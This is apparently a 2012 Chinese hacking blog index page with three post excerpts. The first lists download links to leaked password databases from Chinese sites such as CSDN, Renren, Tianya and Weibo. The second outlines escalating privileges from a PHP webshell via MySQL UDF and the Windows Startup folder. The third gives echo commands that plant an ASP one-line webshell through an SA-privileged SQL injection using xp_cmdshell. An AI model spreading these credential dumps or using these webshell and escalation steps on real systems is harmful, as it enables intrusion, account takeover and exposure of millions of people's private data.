安全相关

泄漏密码数据库下载

2012年2月4日安全相关没有评论 | 热度：6 ℃

人人网500W_16610.rar
ed2k://|file|%C8%CB%C8%CB%CD%F8500W_16610.rar|51969611|8CD19B7A2EB9F1F74CB8BFBDE7BD144D|/
178(1000w)_3087.rar
ed2k://|file|178(1000w)_3087.rar|108534783|FFCD04A52339701C8CB5197BDCF9F4DC|/
7k7k2000万_2047.rar
ed2k://|file|7k7k2000%CD%F2_2047.rar|203648704|6EB70910C1C193F5BE04610B503EF4A0|/
猫1000W_8228.rar
ed2k://|file|___1000W_8228.rar|96411648|CE48CD1EA39666AA2B215D1B3028C845|/
多玩网_800W.rar
ed2k://|file|%E5%A4%9A%E7%8E%A9%E7%BD%91_800W.rar|227441723|F8388A178222518978550D3E64B6129B|/
嘟嘟牛_66277.rar
ed2k://|file|%E5%98%9F%E5%98%9F%E7%89%9B_66277.rar|215666725|EF7187E33A8EBD9FD806343B7B1CAA82|/
CSDN-中文IT社区-600万.rar
ed2k://|file|CSDN-%D6%D0%CE%C4IT%C9%E7%C7%F8-600%CD%F2.rar|109942505|A29D9468556CF73AFB48A3A8427629DC|/
2011/12/26更新
天涯4000w数据库(天涯数据.kz)(.kz格式为快压)
thunder://QUFodHRwOi8veGxpc3N1ZTExMC5zYW5kYWkubmV0L+Wkqea2r+aVsOaNri5rej9maWQ9RldLYVBiYUl0WjZLVUtyTTNTdHZGNC0yMVd1amU1RVhBQUFBQUxZVTRwNmNjUm1DTE9SQnBmUEVTdWpYYm9RVyZtaWQ9NjY2JnRocmVzaG9sZD0xNTAmdGlkPTRFN0VDNzRDMkM0NDdDQjVDNjUwOUJERkY1MzdEQ0ExJnNyY2lkPTExMiZ2ZXJubz0xWlo=
ed2k://|file|天涯数据.kz|395410339|14813820b58aff56df8149233cf2a7a5|/
weibo.com_12160.rar
ed2k://|file|weibo.com_12160.rar|51941071|71e65982f639329f595cb925659acf8a|/

阅读全文...

phpshell写入启动项提权

2012年1月17日安全相关没有评论 | 热度：16 ℃

实际操作中可以在webshell用udf.dll提权,用函数的上传文件功能上传文件到启动目录,再用shut函数重起系统.(目前没成功过,有机会本地测试一下,先记录在这了).如果是英文版的系统,启动目录在 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup"

1、连接到对方MYSQL 服务器
mysql -u root -h 192.168.0.1
mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

阅读全文...

SA权限ECHO写一句话

2012年1月17日安全相关没有评论 | 热度：7 ℃

注入点是SA权限.
xp_cmdshell是存在的.
找到网站主目录 dir d:\wwwroot
找到站点的目录后.

1
2
3

Echo ^<%eval request("#")%>^ >d:\wwwroot\xx\ok.asp
echo ^<%eval request("#")%^> >d:\wwwroot\xx\ok.asp
echo "<%eval request("#")%>" >d:\wwwroot\xx\ok.asp